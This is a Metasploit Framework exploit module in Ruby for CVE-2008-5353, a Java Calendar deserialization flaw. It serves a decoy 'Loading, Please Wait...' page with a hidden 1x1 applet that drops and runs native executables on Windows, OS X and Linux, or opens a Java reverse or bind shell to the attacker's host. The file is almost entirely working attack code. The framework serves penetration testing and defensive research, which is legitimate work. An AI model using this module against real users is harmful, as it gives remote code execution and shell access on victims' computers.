##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpServer::HTML
  
  def initialize( info = {} )
  
    super( update_info( info,
      'Name'          => 'Sun Java Calendar Deserialization Exploit',
      'Description'    => %q{
        This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
        
        The payload can be either a native payload which is generated as an executable and 
        dropped/executed on the target or a shell from within the Java applet in the target browser.
        
        The effected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 
        and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
      },
      'License'        => MSF_LICENSE,
      'Author'        => [ 'sf', 'hdm' ],
      'Version'       => '1',
      'References'    => 
      [
        [ 'CVE', '2008-5353' ],
        [ 'OSVDB', '50500'],
        [ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
        [ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
        [ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ],
        [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ] 
      ],
      'Platform'     => [ 'win', 'osx', 'linux', 'solaris' ],
      'Payload'      => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
      'Targets'      =>
        [
          [ 'Generic (Java Payload)', 
            {
              # This is a bad hack to force only the generic/shell_bind_tcp and generic/shell_reverse_tcp payloads
              'Platform' => ['win'],
              'Payload' => { 'Space' => 0 },
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Windows x86 (Native Payload)', 
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Mac OS X PPC (Native Payload)', 
            {
              'Platform' => 'osx',
              'Arch' => ARCH_PPC,
            }
          ],
          [ 'Mac OS X x86 (Native Payload)', 
            {
              'Platform' => 'osx',
              'Arch' => ARCH_X86,
            }
          ],
          [ 'Linux x86 (Native Payload)', 
            {
              'Platform' => 'linux',
              'Arch' => ARCH_X86, 
            }
          ],
        ],
      'DefaultTarget'  => 0
      ))
  end


  def on_request_uri( cli, request )
    data = nil
    host = nil
    port = nil

    if not request.uri.match(/\.jar$/i)
      if not request.uri.match(/\/$/)
        send_redirect( cli, get_resource() + '/', '')
        return
      end
      
      print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
      
      payload = regenerate_payload( cli )
      if not payload
        print_status( "Failed to generate the payload." )
        return
      end
      
      if target.name == 'Generic (Java Payload)'
        if datastore['LHOST']
          host = datastore['LHOST']
          port = datastore['LPORT']
          print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
        else
          port = datastore['LPORT']
          datastore['RHOST'] = cli.peerhost
          print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
        end
      else
      
        if target['Arch'] == ARCH_X86
          data = Msf::Util::EXE.to_win32pe( framework, payload.encoded ) if target['Platform'] == 'win'
          data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx' 
          data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'
        elsif target['Arch'] == ARCH_PPC
          data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
        end
        
        if data
          print_status( "Generated executable to drop (#{data.length} bytes)." )
          data = Rex::Text.to_hex( data, prefix="" )
        else
          print_status( "Failed to generate the executable." )
          return
        end
        
      end
      
      send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )  
      return
    end
    
    print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )  
    send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )

    handler( cli )
  end
  
  def generate_html( data, host, port )
    html  = "<html><head><title>Loading, Please Wait...</title></head>"
    html += "<body><center><p>Loading, Please Wait...</p></center>"
    html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
    html += "<param name=\"data\" value=\"#{data}\"/>" if data
    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
    html += "<param name=\"lport\" value=\"#{port}\"/>" if port
    html += "</applet></body></html>"
    return html
  end
  
  def generate_jar()
    path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" )
    fd = File.open( path, "rb" )
    data = fd.read(fd.stat.size)
    fd.close
    return data
  end
  
end